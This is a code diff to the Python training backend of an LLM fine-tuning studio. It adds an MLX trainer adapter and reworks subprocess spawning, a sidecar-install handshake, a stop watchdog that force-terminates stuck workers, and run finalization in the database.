+            "is_dataset_image": bool(is_dataset_image),
+            "is_dataset_audio": bool(is_dataset_audio),
+            "trust_remote_code": bool(trust_remote_code),
+            "gpu_ids": gpu_ids,
+        }
+        self._update_progress(
+            is_training = False,
+            is_completed = False,
+            error = None,
+            step = 0,
+            loss = 0.0,
+            epoch = 0,
+            status_message = f"Queued MLX model load: {model_name}",
+        )
+        return True
+
+    def prepare_model_for_training(
+        self,
+        use_lora: bool = True,
+        finetune_vision_layers: bool = True,
+        finetune_language_layers: bool = True,
+        finetune_attention_modules: bool = True,
+        finetune_mlp_modules: bool = True,
+        target_modules: Optional[Union[list, str]] = None,
+        lora_r: int = 16,
+        lora_alpha: int = 16,
+        lora_dropout: float = 0.0,
+        use_gradient_checkpointing: Union[str, bool] = "unsloth",
+        use_rslora: bool = False,
+        use_loftq: bool = False,
+    ) -> bool:
+        self._peft_config = {
+            "use_lora": bool(use_lora),
+            "lora_r": lora_r,
+            "lora_alpha": lora_alpha,
+            "lora_dropout": lora_dropout,
+            "target_modules": target_modules,
+            "gradient_checkpointing": use_gradient_checkpointing,
+            "use_rslora": bool(use_rslora),
+            "use_loftq": bool(use_loftq),
+            "finetune_vision_layers": bool(finetune_vision_layers),
+            "finetune_language_layers": bool(finetune_language_layers),
+            "finetune_attention_modules": bool(finetune_attention_modules),
+            "finetune_mlp_modules": bool(finetune_mlp_modules),
+        }
+        self._update_progress(status_message = "Queued MLX training setup")
+        return True
+
+    def load_and_format_dataset(
+        self,
+        dataset_source: Optional[str],
+        format_type: str = "auto",
+        local_datasets: Optional[list[str]] = None,
+        local_eval_datasets: Optional[list[str]] = None,
+        custom_format_mapping: Optional[dict[str, Any]] = None,
+        subset: Optional[str] = None,
+        train_split: str = "train",
+        eval_split: Optional[str] = None,
+        dataset_streaming: bool = False,
+        eval_steps: float = 0.00,
+        dataset_slice_start: Optional[int] = None,
+        dataset_slice_end: Optional[int] = None,
+        is_cpt: bool = False,
+        s3_config: dict = None,
+    ) -> Optional[tuple]:
+        self._dataset_config = {
+            "hf_dataset": dataset_source or "",
+            "local_datasets": local_datasets,
+            "local_eval_datasets": local_eval_datasets,
+            "format_type": format_type or "",
+            "custom_format_mapping": custom_format_mapping,
+            "subset": subset,
+            "train_split": train_split or "train",
+            "eval_split": eval_split,
+            "dataset_streaming": bool(dataset_streaming),
+            "eval_steps": eval_steps or 0.0,
+            "dataset_slice_start": dataset_slice_start,
+            "dataset_slice_end": dataset_slice_end,
+            "s3_config": s3_config,
+        }
+        self.is_cpt = bool(is_cpt)
+        self._update_progress(status_message = "Queued MLX dataset load")
+        return ({"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, None)
+
+    def start_training(
+        self,
+        dataset = None,
+        eval_dataset = None,
+        **training_args,
+    ) -> bool:
+        if self.is_training and self.training_thread and self.training_thread.is_alive():
+            return False
+        if self._pump_thread and self._pump_thread.is_alive():
+            self._pump_thread.join(timeout = 2.0)
+            if self._pump_thread.is_alive():
+                self._update_progress(error = "Previous training event pump is still finalizing")
+                return False
+        if not self._model_config:
+            self._update_progress(error = "Model not loaded")
+            return False
+        if not self._dataset_config:
+            self._update_progress(error = "Dataset not loaded")
+            return False
+        if self.is_cpt:
+            self._update_progress(
+                error = "Continued Pretraining is not supported for MLX training yet.",
+                is_training = False,
+                is_completed = False,
+            )
+            return False
+
+        config = self._build_worker_config(training_args)
+        event_queue = queue.Queue()
+        stop_queue = queue.Queue()
+        self._event_queue = event_queue
+        self._stop_queue = stop_queue
+        self.should_stop = False
+        self.is_training = True
+        self.training_progress = TrainingProgress(
+            is_training = True,
+            status_message = "Initializing MLX training...",
+        )
+
+        self.training_thread = threading.Thread(
+            target = self._run_training_thread,
+            args = (config, event_queue, stop_queue),
+            daemon = True,
+        )
+        self._pump_thread = threading.Thread(
+            target = self._pump_events,
+            args = (event_queue, self.training_thread),
+            daemon = True,
+        )
+        self.training_thread.start()
+        self._pump_thread.start()
+        return True
+
+    def _build_worker_config(self, training_args: dict[str, Any]) -> dict[str, Any]:
+        peft = {
+            "use_lora": True,
+            "lora_r": 16,
+            "lora_alpha": 16,
+            "lora_dropout": 0.0,
+            "target_modules": None,
+            "gradient_checkpointing": "unsloth",
+            "use_rslora": False,
+            "use_loftq": False,
+            "finetune_vision_layers": True,
+            "finetune_language_layers": True,
+            "finetune_attention_modules": True,
+            "finetune_mlp_modules": True,
+            **self._peft_config,
+        }
+        output_dir = training_args.get("output_dir")
+        if output_dir:
+            output_dir = os.path.abspath(os.path.expanduser(str(output_dir)))
+        values = {
+            **self._model_config,
+            **self._dataset_config,
+            **training_args,
+            "training_type": (
+                "Continued Pretraining"
+                if self.is_cpt
+                else "LoRA/QLoRA"
+                if peft["use_lora"]
+                else "Full Finetuning"
+            ),
+            **peft,
+            "output_dir": output_dir,
+            "allow_external_output_dir": bool(output_dir),
+        }
+        config = _build_training_worker_config(values)
+        config["resolved_gpu_ids"] = None
+        config["gpu_selection"] = None
+        return config
+
+    def _run_training_thread(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        try:
+            self._run_mlx_worker(config, event_queue, stop_queue)
+        except Exception as exc:
+            if event_queue is not None:
+                event_queue.put(
+                    {
+                        "type": "error",
+                        "error": str(exc),
+                        "stack": traceback.format_exc(limit = 20),
+                        "ts": time.time(),
+                    }
+                )
+
+    def _run_mlx_worker(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        from .worker import run_mlx_training_process
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+        )
+
+    def _pump_events(self, event_queue: queue.Queue, training_thread: threading.Thread):
+        while True:
+            event = None
+            try:
+                event = event_queue.get(timeout = 0.25)
+            except queue.Empty:
+                pass
+            if event is not None:
+                self._handle_event(event)
+                continue
+            if not training_thread.is_alive():
+                self._drain_events(event_queue)
+                with self._lock:
+                    if self.training_progress.is_training:
+                        self.training_progress.is_training = False
+                        if self.should_stop:
+                            self.training_progress.status_message = "Training stopped."
+                        elif (
+                            not self.training_progress.error
+                            and not self.training_progress.is_completed
+                        ):
+                            self.training_progress.error = "Training process exited unexpectedly"
+                    self.is_training = False
+                    self._event_queue = None
+                    self._stop_queue = None
+                return
+
+    def _drain_events(self, event_queue: Optional[queue.Queue] = None):
+        event_queue = event_queue or self._event_queue
+        if event_queue is None:
+            return
+        while True:
+            try:
+                self._handle_event(event_queue.get_nowait())
+            except queue.Empty:
+                return
+
+    def _handle_event(self, event: dict[str, Any]):
+        etype = event.get("type")
+        if etype == "status":
+            self._update_progress(
+                status_message = event.get("status_message") or event.get("message") or ""
+            )
+            return
+        if etype == "progress":
+            self._update_progress(
+                step = event.get("step", self.training_progress.step),
+                epoch = event.get("epoch", self.training_progress.epoch),
+                loss = event.get("loss", self.training_progress.loss),
+                learning_rate = event.get("learning_rate", self.training_progress.learning_rate),
+                total_steps = event.get("total_steps", self.training_progress.total_steps),
+                elapsed_seconds = event.get(
+                    "elapsed_seconds",
+                    self.training_progress.elapsed_seconds,
+                ),
+                eta_seconds = event.get("eta_seconds", self.training_progress.eta_seconds),
+                grad_norm = event.get("grad_norm", self.training_progress.grad_norm),
+                num_tokens = event.get("num_tokens", self.training_progress.num_tokens),
+                eval_loss = event.get("eval_loss", self.training_progress.eval_loss),
+                peak_memory_gb = event.get("peak_memory_gb", self.training_progress.peak_memory_gb),
+            )
+            return
+        if etype == "complete":
+            status_message = event.get("status_message") or "Training completed"
+            output_dir = event.get("output_dir")
+            was_cancelled = self.should_stop or status_message.strip().lower() in {
+                "training cancelled",
+                "training stopped",
+            }
+            self.output_dir = output_dir
+            self._update_progress(
+                is_training = False,
+                is_completed = not was_cancelled,
+                error = None,
+                status_message = status_message,
+                output_dir = output_dir,
+            )
+            self.is_training = False
+            return
+        if etype == "error":
+            self._update_progress(
+                is_training = False,
+                is_completed = False,
+                error = event.get("error") or event.get("message") or "Training failed",
+            )
+            self.is_training = False
+            return
+
+    def stop_training(self, save: bool = True):
+        self.should_stop = True
+        self.save_on_stop = bool(save)
+        if self._stop_queue is not None:
+            self._stop_queue.put({"type": "stop", "save": save})
+        status_message = (
+            "Stopping training and saving checkpoint..." if save else "Cancelling training..."
+        )
+        self._update_progress(status_message = status_message)
+        return True
+
+    def get_training_progress(self) -> TrainingProgress:
+        pump_thread = self._pump_thread
+        training_thread = self.training_thread
+        if (
+            pump_thread is not None
+            and pump_thread.is_alive()
+            and (training_thread is None or not training_thread.is_alive())
+            and threading.current_thread() is not pump_thread
+        ):
+            pump_thread.join(timeout = 5.0)
+        if pump_thread is None or not pump_thread.is_alive():
+            self._drain_events()
+        with self._lock:
+            return replace(self.training_progress)
+
+
+def create_mlx_trainer_adapter(*args, **kwargs):
+    return _MLXTrainerAdapter(*args, **kwargs)
 
 
 class TrainingBackend:
@@ -213,6 +754,9 @@ class TrainingBackend:
     def __init__(self):
         # Subprocess state
         self._proc: Optional[mp.Process] = None
+        # True from the sidecar-swap handshake until the worker is recorded, so
+        # installs and STT loads treat the startup window as active.
+        self._spawn_in_progress: bool = False
         self._event_queue: Any = None
         self._stop_queue: Any = None
         self._pump_thread: Optional[threading.Thread] = None
@@ -220,11 +764,24 @@ class TrainingBackend:
         # Left True after an abnormal death so _ensure_pump_alive spots a crash.
         self._pump_running: bool = False
         self._lock = threading.Lock()
+        self._run_intent_lock = threading.RLock()
+
+        # Stop watchdog: after a stop is requested, escalates to force_terminate()
+        # if the worker does not exit on its own within a bounded time. The watched
+        # proc is tracked so a new run always gets its own watcher.
+        self._stop_watchdog: Optional[threading.Thread] = None
+        self._stop_watchdog_proc: Optional[mp.Process] = None
+        self._complete_seen = threading.Event()
 
         # Progress state (updated by pump thread from subprocess events)
         self._progress = TrainingProgress()
         self._should_stop = False
         self._cancel_requested = False  # True only for stop(save=False)
+        self._cancel_cleanup_output_dir: Optional[str] = None
+
+        # Throttled training-status logging to the server log (not one line/step).
+        self._last_progress_log_ts: float = 0.0
+        self._last_progress_log_step: int = -1
 
         # Training metrics (consumed by routes for SSE and /metrics)
         self.loss_history: list = []
@@ -240,11 +797,14 @@ class TrainingBackend:
         # Job metadata
         self.current_job_id: Optional[str] = None
         self._output_dir: Optional[str] = None
+        self._resume_source_run_id: Optional[str] = None
+        self._terminal_finalize_payload: Optional[dict] = None
 
         # DB persistence
         self._metric_buffer: list[dict] = []
         self._run_finalized: bool = False
         self._db_run_created: bool = False
+        self._db_create_in_progress: bool = False
         self._db_total_steps_set: bool = False
         self._db_config: Optional[dict] = None
         self._db_started_at: Optional[str] = None
@@ -266,6 +826,7 @@ class TrainingBackend:
         job_id: str,
         *,
         before_spawn = None,
+        resume_source_run_id: Optional[str] = None,
         **kwargs,
     ) -> bool:
         """Spawn a subprocess to run the full training pipeline.
@@ -296,86 +857,7 @@ class TrainingBackend:
         # treat this fresh setup as a recoverable death.
         self._pump_running = False
 
-        # Build config dict for the subprocess
-        config = {
-            "model_name": kwargs["model_name"],
-            "project_name": kwargs.get("project_name"),
-            "training_type": kwargs.get("training_type", "LoRA/QLoRA"),
-            "hf_token": kwargs.get("hf_token", ""),
-            "load_in_4bit": kwargs.get("load_in_4bit", True),
-            "max_seq_length": kwargs.get("max_seq_length", 2048),
-            "vision_image_size": kwargs.get("vision_image_size"),
-            "hf_dataset": kwargs.get("hf_dataset", ""),
-            "local_datasets": kwargs.get("local_datasets"),
-            "local_eval_datasets": kwargs.get("local_eval_datasets"),
-            "format_type": kwargs.get("format_type", ""),
-            "subset": kwargs.get("subset"),
-            "train_split": kwargs.get("train_split", "train"),
-            "eval_split": kwargs.get("eval_split"),
-            "eval_steps": kwargs.get("eval_steps", 0.00),
-            "dataset_streaming": kwargs.get("dataset_streaming", False),
-            "dataset_slice_start": kwargs.get("dataset_slice_start"),
-            "dataset_slice_end": kwargs.get("dataset_slice_end"),
-            "custom_format_mapping": kwargs.get("custom_format_mapping"),
-            "is_dataset_image": kwargs.get("is_dataset_image", False),
-            "is_dataset_audio": kwargs.get("is_dataset_audio", False),
-            "is_embedding": kwargs.get("is_embedding", False),
-            "num_epochs": kwargs.get("num_epochs", 3),
-            "learning_rate": kwargs.get("learning_rate", "2e-4"),
-            "embedding_learning_rate": kwargs.get("embedding_learning_rate"),
-            "batch_size": kwargs.get("batch_size", 2),
-            "gradient_accumulation_steps": kwargs.get("gradient_accumulation_steps", 4),
-            "warmup_steps": kwargs.get("warmup_steps"),
-            "warmup_ratio": kwargs.get("warmup_ratio"),
-            "max_steps": kwargs.get("max_steps", 0),
-            "save_steps": kwargs.get("save_steps", 0),
-            "weight_decay": kwargs.get("weight_decay", 0.001),
-            "max_grad_norm": kwargs.get("max_grad_norm", 0.0),
-            "max_grad_value": _coerce_optional_nonneg_float(
-                "max_grad_value", kwargs.get("max_grad_value")
-            ),
-            "max_grad_leaf_norm": _coerce_optional_nonneg_float(
-                "max_grad_leaf_norm", kwargs.get("max_grad_leaf_norm")
-            ),
-            "cast_norm_output_to_input_dtype": _coerce_optional_bool(
-                kwargs.get("cast_norm_output_to_input_dtype"), True
-            ),
-            # MLX/CUDA/embedding workers need an int (transformers.set_seed(None) raises).
-            "random_seed": _coerce_seed(kwargs.get("random_seed")),
-            "packing": kwargs.get("packing", False),
-            "optim": kwargs.get("optim", "adamw_8bit"),
-            "lr_scheduler_type": kwargs.get("lr_scheduler_type", "linear"),
-            "use_lora": kwargs.get("use_lora", True),
-            "lora_r": kwargs.get("lora_r", 16),
-            "lora_alpha": kwargs.get("lora_alpha", 16),
-            "lora_dropout": kwargs.get("lora_dropout", 0.0),
-            "target_modules": kwargs.get("target_modules"),
-            "gradient_checkpointing": kwargs.get("gradient_checkpointing", "unsloth"),
-            "use_rslora": kwargs.get("use_rslora", False),
-            "use_loftq": kwargs.get("use_loftq", False),
-            "train_on_completions": kwargs.get("train_on_completions", False),
-            "finetune_vision_layers": kwargs.get("finetune_vision_layers", True),
-            "finetune_language_layers": kwargs.get("finetune_language_layers", True),
-            "finetune_attention_modules": kwargs.get("finetune_attention_modules", True),
-            "finetune_mlp_modules": kwargs.get("finetune_mlp_modules", True),
-            "enable_wandb": kwargs.get("enable_wandb", False),
-            "wandb_token": kwargs.get("wandb_token"),
-            "wandb_project": kwargs.get("wandb_project", "unsloth-training"),
-            "enable_tensorboard": kwargs.get("enable_tensorboard", False),
-            "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"),
-            "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
-            "trust_remote_code": kwargs.get("trust_remote_code", False),
-            "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
-            "subject": kwargs.get("subject"),
-            "gpu_ids": kwargs.get("gpu_ids"),
-            "s3_config": kwargs.get("s3_config"),
-            # Flipped to True only by the HTTP-fallback respawn after a stall.
-            "disable_xet": kwargs.get("disable_xet", False),
-        }
-
-        # Full finetuning always runs in 16-bit; LoRA/QLoRA/CPT keep the request.
-        if config["training_type"] == "Full Finetuning":
-            config["load_in_4bit"] = False
+        config = _build_training_worker_config(kwargs)
 
         # Split GPU validation from placement around the VRAM hook:
         #   * Explicit gpu_ids are validated here (raises -> the route returns 400
@@ -401,7 +883,7 @@ class TrainingBackend:
         )
 
         defer_auto_selection = False
-        if _hw.DEVICE == _hw.DeviceType.MLX:
+        if should_use_mlx_training_backend(device = _hw.DEVICE):
             config["resolved_gpu_ids"] = None
             config["gpu_selection"] = None
         elif gpu_ids:
@@ -411,118 +893,450 @@ class TrainingBackend:
         else:
             defer_auto_selection = True
 
-        # Synchronous validation passed -> free VRAM (export + chat) now, before
-        # auto-selection and the spawn, so placement sees the freed memory.
-        if before_spawn is not None:
-            try:
-                before_spawn()
-            except Exception:
-                logger.warning("before_spawn hook failed; continuing", exc_info = True)
+        # Handshake with the sidecar install route: mark the spawn in progress BEFORE rechecking
+        # the reservation, so either this recheck aborts, or the install's is_training_active()
+        # sees this flag (or the recorded proc) and refuses.
+        from utils.transformers_version import sidecar_swap_in_progress
 
-        if defer_auto_selection:
-            resolved_gpu_ids, gpu_selection = prepare_gpu_selection(None, **gpu_selection_kwargs)
-            config["resolved_gpu_ids"] = resolved_gpu_ids
-            config["gpu_selection"] = gpu_selection
-
-        from .worker import run_training_process
+        self._spawn_in_progress = True
+        if sidecar_swap_in_progress():
+            self._spawn_in_progress = False
+            from utils.transformers_version import SidecarSwapInProgress
+            raise SidecarSwapInProgress(
+                "A transformers installation is replacing the latest sidecar; "
+                "retry when it completes."
+            )
 
+        # Any exception between the handshake above and the flag reset below would
+        # otherwise leave _spawn_in_progress latched, wedging is_training_active
+        # (and the install route) until restart.
         try:
-            with native_path_secret_removed_for_child_start():
-                event_queue = _CTX.Queue()
-                stop_queue = _CTX.Queue()
+            # Synchronous validation passed -> free VRAM (export + chat) now, before
+            # auto-selection and the spawn, so placement sees the freed memory. Runs AFTER the handshake
+            # so a lost race to an install can't tear down chat/export for a training run that never spawns.
+            if before_spawn is not None:
+                try:
+                    before_spawn()
+                except Exception:
+                    logger.warning("before_spawn hook failed; continuing", exc_info = True)
 
-                proc = _CTX.Process(
-                    target = run_without_native_path_secret,
-                    args = (run_training_process,),
-                    kwargs = {
-                        "event_queue": event_queue,
-                        "stop_queue": stop_queue,
-                        "config": config,
-                    },
-                    daemon = True,
-                )
-                proc.start()
-                from utils.process_lifetime import adopt_pid
+            if defer_auto_selection:
+                try:
+                    resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
+                        None, **gpu_selection_kwargs
+                    )
+                except Exception:
+                    # Flag is already set; a failed GPU selection must not leave is_training_active stuck True.
+                    self._spawn_in_progress = False
+                    raise
+                config["resolved_gpu_ids"] = resolved_gpu_ids
+                config["gpu_selection"] = gpu_selection
+
+            from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths
+
+            cache_env = get_hf_cache_paths().child_env({})
+
+            try:
+                with (
+                    child_environment_for_spawn(cache_env),
+                    native_path_secret_removed_for_child_start(),
+                ):
+                    event_queue = _CTX.Queue()
+                    stop_queue = _CTX.Queue()
+
+                    proc = _CTX.Process(
+                        target = run_without_native_path_secret,
+                        args = ("core.training.worker", "run_training_process", cache_env),
+                        kwargs = {
+                            "event_queue": event_queue,
+                            "stop_queue": stop_queue,
+                            "config": config,
+                        },
+                        daemon = True,
+                    )
+                    proc.start()
+                    from utils.process_lifetime import adopt_pid
+
+                    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
+            except Exception:
+                logger.error("Failed to start training subprocess", exc_info = True)
+                self._spawn_in_progress = False
+                return False
+
+            logger.info("Training subprocess started (pid=%s)", proc.pid)
+
+            # Reset state (old pump thread dead, proc.start() succeeded).
+            self.current_job_id = job_id
+            self._should_stop = False
+            self._cancel_requested = False
+            self._cancel_cleanup_output_dir = None
+            self._complete_seen.clear()
+            self._progress = TrainingProgress(
+                is_training = True, status_message = "Initializing training..."
+            )
+            # Reset the progress-log throttle so the new run always logs its first step,
+            # even if it starts within 30s of a prior run whose last logged step matches.
+            self._last_progress_log_ts = 0.0
+            self._last_progress_log_step = -1
+            self.loss_history.clear()
+            self.lr_history.clear()
+            self.step_history.clear()
+            self.grad_norm_history.clear()
+            self.grad_norm_step_history.clear()
+            self.eval_loss_history.clear()
+            self.eval_step_history.clear()
+            self.eval_enabled = False
+            self._output_dir = config.get("output_dir") if resume_source_run_id else None
+            self._progress.output_dir = self._output_dir
+            self._resume_source_run_id = resume_source_run_id
+            self._terminal_finalize_payload = None
+            self._metric_buffer.clear()
+            self._run_finalized = False
+            self._db_run_created = False
+            self._db_create_in_progress = False  # a stale watchdog create can't block this run
+            self._db_total_steps_set = False
+            self._db_config = _sanitize_db_config(config)
+            self._db_started_at = datetime.now(timezone.utc).isoformat()
+            # Start each job Xet-first; keep config so a stall can respawn over HTTP.
+            self._last_full_config = config
+            self._last_hf_cache_env = cache_env
+            self._in_model_load = False
+            self._xet_fallback_used = False
+            self._needs_xet_respawn = False
+
+            # Create the DB run row before the pump can consume events, so it appears
+            # in history during model loading and a fast terminal worker can't race the
+            # pump into a duplicate create/finalize. From here the pump only finalizes.
+            self._ensure_db_run_created()
+            if resume_source_run_id and not self._db_run_created:
+                if proc.is_alive():
+                    proc.terminate()
+                proc.join(timeout = 5.0)
+                if proc.is_alive():
+                    proc.kill()
+                    proc.join(timeout = 2.0)
+                self._progress.is_training = False
+                self._progress.error = "Resume checkpoint is no longer available."
+                self._spawn_in_progress = False
+                return False
+
+            # Assign handles and start the pump together under the lock so a concurrent
+            # poll can't see a live _proc with no pump and spawn a duplicate.
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            with self._lock:
+                self._pump_running = False
+                self._event_queue = event_queue
+                self._stop_queue = stop_queue
+                self._proc = proc
+                self._pump_thread = new_pump
+                new_pump.start()
+                self._spawn_in_progress = False
+
+            return True
 
-                adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
         except Exception:
-            logger.error("Failed to start training subprocess", exc_info = True)
-            return False
-
-        logger.info("Training subprocess started (pid=%s)", proc.pid)
-
-        # Reset state (old pump thread dead, proc.start() succeeded).
-        self.current_job_id = job_id
-        self._should_stop = False
-        self._cancel_requested = False
-        self._progress = TrainingProgress(
-            is_training = True, status_message = "Initializing training..."
-        )
-        self.loss_history.clear()
-        self.lr_history.clear()
-        self.step_history.clear()
-        self.grad_norm_history.clear()
-        self.grad_norm_step_history.clear()
-        self.eval_loss_history.clear()
-        self.eval_step_history.clear()
-        self.eval_enabled = False
-        self._output_dir = None
-        self._metric_buffer.clear()
-        self._run_finalized = False
-        self._db_run_created = False
-        self._db_total_steps_set = False
-        self._db_config = _sanitize_db_config(config)
-        self._db_started_at = datetime.now(timezone.utc).isoformat()
-        # Start each job Xet-first; keep config so a stall can respawn over HTTP.
-        self._last_full_config = config
-        self._in_model_load = False
-        self._xet_fallback_used = False
-        self._needs_xet_respawn = False
-
-        # Create the DB run row before the pump can consume events, so it appears
-        # in history during model loading and a fast terminal worker can't race the
-        # pump into a duplicate create/finalize. From here the pump only finalizes.
-        self._ensure_db_run_created()
-
-        # Assign handles and start the pump together under the lock so a concurrent
-        # poll can't see a live _proc with no pump and spawn a duplicate.
-        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
-        with self._lock:
-            self._pump_running = False
-            self._event_queue = event_queue
-            self._stop_queue = stop_queue
-            self._proc = proc
-            self._pump_thread = new_pump
-            new_pump.start()
-
-        return True
+            self._spawn_in_progress = False
+            raise
 
     def stop_training(self, save: bool = True) -> bool:
         """Send stop signal to the training subprocess."""
-        self._should_stop = True
-        if not save:
-            self._cancel_requested = True
-        with self._lock:
-            if self._stop_queue is not None:
-                try:
-                    self._stop_queue.put({"type": "stop", "save": save})
-                except (OSError, ValueError):
-                    pass
-            # Update progress immediately for responsive UI.
-            self._progress.status_message = (
-                "Stopping training and saving checkpoint..." if save else "Cancelling training..."
-            )
+        with self._run_intent_lock:
+            with self._lock:
+                run_id = self.current_job_id
+            if not save and run_id:
+                persist_error: Optional[Exception] = None
+                for attempt in range(_DB_FINALIZE_RETRIES):
+                    try:
+                        from storage.studio_db import mark_run_cancel_requested
+
+                        self._ensure_db_run_created()
+                        with self._lock:
+                            terminal_payload = self._terminal_finalize_payload
+                            if (
+                                terminal_payload
+                                and terminal_payload.get("expected_job_id") == run_id
+                            ):
+                                return False
+                            if not mark_run_cancel_requested(run_id):
+                                if self._db_run_created:
+                                    return False
+                                raise RuntimeError(
+                                    "Training run disappeared before cancellation persisted"
+                                )
+                            if self.current_job_id != run_id:
+                                return False
+                            self._should_stop = self._cancel_requested = True
+                            self._cancel_cleanup_output_dir = self._output_dir
+                            self._output_dir = self._progress.output_dir = None
+                        persist_error = None
+                        break
+                    except Exception as exc:
+                        persist_error = exc
+                        if attempt + 1 < _DB_FINALIZE_RETRIES:
+                            time.sleep(_DB_FINALIZE_RETRY_S)
+                if persist_error is not None:
+                    raise RuntimeError("Failed to persist Stop-without-Save") from persist_error
+            with self._lock:
+                if self.current_job_id != run_id:
+                    return False
+                if save or not run_id:
+                    self._should_stop = True
+                if not save and not run_id:
+                    self._cancel_requested = True
+                    self._cancel_cleanup_output_dir = self._output_dir
+                    self._output_dir = self._progress.output_dir = None
+                if self._stop_queue is not None:
+                    try:
+                        self._stop_queue.put({"type": "stop", "save": save})
+                    except (OSError, ValueError):
+                        pass
+                self._progress.status_message = (
+                    "Stopping training and saving checkpoint..."
+                    if save
+                    else "Cancelling training..."
+                )
+        self._start_stop_watchdog(cancel = not save, expected_job_id = run_id)
         return True
 
-    def force_terminate(self) -> None:
-        """Force-kill the training subprocess so state can be reset immediately."""
+    def _start_stop_watchdog(
+        self,
+        cancel: bool,
+        expected_job_id: Optional[str] = None,
+    ) -> None:
+        """Start a daemon that force-terminates the worker if a requested stop does not
+        exit on its own. No-op if no worker is alive or a live watchdog already watches
+        this proc (a stale watchdog on an old proc never blocks a new run's watcher)."""
         with self._lock:
-            if self._proc is not None and self._proc.is_alive():
-                logger.info("Force-terminating training subprocess (pid=%s)", self._proc.pid)
-                self._proc.terminate()
+            if expected_job_id is not None and self.current_job_id != expected_job_id:
+                return
             proc = self._proc
+            if proc is None or not proc.is_alive():
+                return
+            if (
+                self._stop_watchdog is not None
+                and self._stop_watchdog.is_alive()
+                and self._stop_watchdog_proc is proc
+            ):
+                return
+            watchdog = threading.Thread(
+                target = self._stop_watchdog_loop,
+                args = (proc, cancel, self.current_job_id),
+                name = f"stop-watchdog-{self.current_job_id or 'unknown'}",
+                daemon = True,
+            )
+            self._stop_watchdog = watchdog
+            self._stop_watchdog_proc = proc
+            watchdog.start()
+
+    def _stop_watchdog_loop(
+        self,
+        target_proc: "mp.Process",
+        cancel: bool,
+        watched_job_id: Optional[str] = None,
+    ) -> None:
+        """Escalate a stuck stop to force_terminate(): grace after "complete", else the
+        absolute backstop (see the module timeouts). No-ops on a clean exit; exits
+        silently if a new run replaces the worker."""
+        started = time.monotonic()
+        complete_at: Optional[float] = None
+        reason = ""
+        while True:
+            with self._lock:
+                superseded = self._proc is not target_proc
+                # A later cancel has nothing to save, so tighten an in-flight save
+                # watchdog to the shorter cancel cap.
+                cancelling = cancel or self._cancel_requested
+            if superseded or not target_proc.is_alive():
+                return
+            now = time.monotonic()
+            abs_timeout = _CANCEL_TIMEOUT_S if cancelling else _STOP_TIMEOUT_S
+            if complete_at is None and self._complete_seen.is_set():
+                complete_at = now
+            if complete_at is not None and now - complete_at >= _STOP_GRACE_S:
+                reason = "worker still alive after save"
+                break
+            if now - started >= abs_timeout:
+                reason = "worker did not exit within the absolute timeout"
+                break
+            time.sleep(0.5)
+
+        with self._lock:
+            superseded = self._proc is not target_proc
+        if superseded or not target_proc.is_alive():
+            return
+        if complete_at is None:
+            # Backstop fired pre-completion: a save may still be in progress.
+            logger.warning(
+                "Stop watchdog: absolute timeout with no completion signal; "
+                "force-terminating a possibly-mid-save worker: %s",
+                reason,
+            )
+        else:
+            logger.warning("Stop watchdog force-terminating stuck training worker: %s", reason)
+        # force_terminate can raise on a wedged child; finalize regardless.
+        try:
+            self.force_terminate(target_proc = target_proc)
+        except Exception:
+            logger.exception("Stop watchdog: force_terminate failed; finalizing anyway")
+        finally:
+            self._finalize_stopped_after_escalation(
+                target_proc = target_proc, watched_job_id = watched_job_id
+            )
+
+    def _finalize_stopped_after_escalation(
+        self,
+        target_proc: "Optional[mp.Process]" = None,
+        watched_job_id: Optional[str] = None,
+    ) -> None:
+        """Finalize parent state after a force-terminate so the UI leaves "Stopping..."
+        even if the worker is wedged in driver teardown; preserves output_dir on a save so
+        the checkpoint is kept, and clears it on a cancel (Stop without saving must not
+        offer resume/export). No-ops if a new run already replaced the watched worker, so a
+        stale watchdog never marks a fresh run stopped or drops its handle.
+
+        Supersession is checked on both the watched proc and job id: start_training sets
+        current_job_id before it installs the new _proc, so a stale watchdog entering that
+        startup window still sees the old (dead) handle and is caught by the job-id guard.
+
+        The run's terminal DB state is recorded (create-if-needed + finish by captured id)
+        BEFORE _proc is dropped: a wedged worker still reports alive, so the pump never
+        reaches its own finalize and would bail on its _proc-is-None guard once the handle
+        is gone. While the handle is held is_training_active() stays true, so no new run can
+        start and current_job_id stays the watched run for the write. _proc is dropped last,
+        re-guarded on target_proc so a run that did replace the worker keeps its handle."""
+        with self._lock:
+            if target_proc is not None and self._proc is not target_proc:
+                return  # a new run replaced the worker; never touch its state
+            if watched_job_id is not None and self.current_job_id != watched_job_id:
+                return  # a new run is already starting up; leave its state alone
+            run_id = self.current_job_id  # == watched_job_id
+            self._progress.is_training = False
+        terminal_payload = self._terminal_finalize_kwargs()
+        status = terminal_payload["status"]
+        error_message = terminal_payload.get("error_message")
+        output_dir = terminal_payload["output_dir"]
+        clear_output_dir = terminal_payload["clear_output_dir"]
+        resume_blocked = bool(terminal_payload.get("resume_blocked"))
+        with self._lock:
+            if self.current_job_id != run_id:
+                return
+            self._progress.status_message = error_message or "Training stopped."
+            if error_message:
+                self._progress.error = error_message
+        # Create the row if a start-time create failed (no-op otherwise; skips when the pump
+        # is mid-create, in which case its create-then-finalize records the run instead).
+        self._ensure_db_run_created()
+        with self._lock:
+            claim = (
+                bool(run_id)
+                and self.current_job_id == run_id
+                and self._db_run_created
+                and not self._run_finalized
+            )
+            batch: list = []
+            final_step = final_loss = duration = None
+            loss_history: list = []
+            if clear_output_dir:
+                self._output_dir = self._progress.output_dir = None
+            if claim:
+                self._run_finalized = True  # claim this run's finalize
+                batch = list(self._metric_buffer)
+                del self._metric_buffer[: len(batch)]
+                final_step = self._progress.step
+                final_loss = self._progress.loss
+                if final_loss is not None and not math.isfinite(final_loss):
+                    final_loss = None
+                duration = self._progress.elapsed_seconds
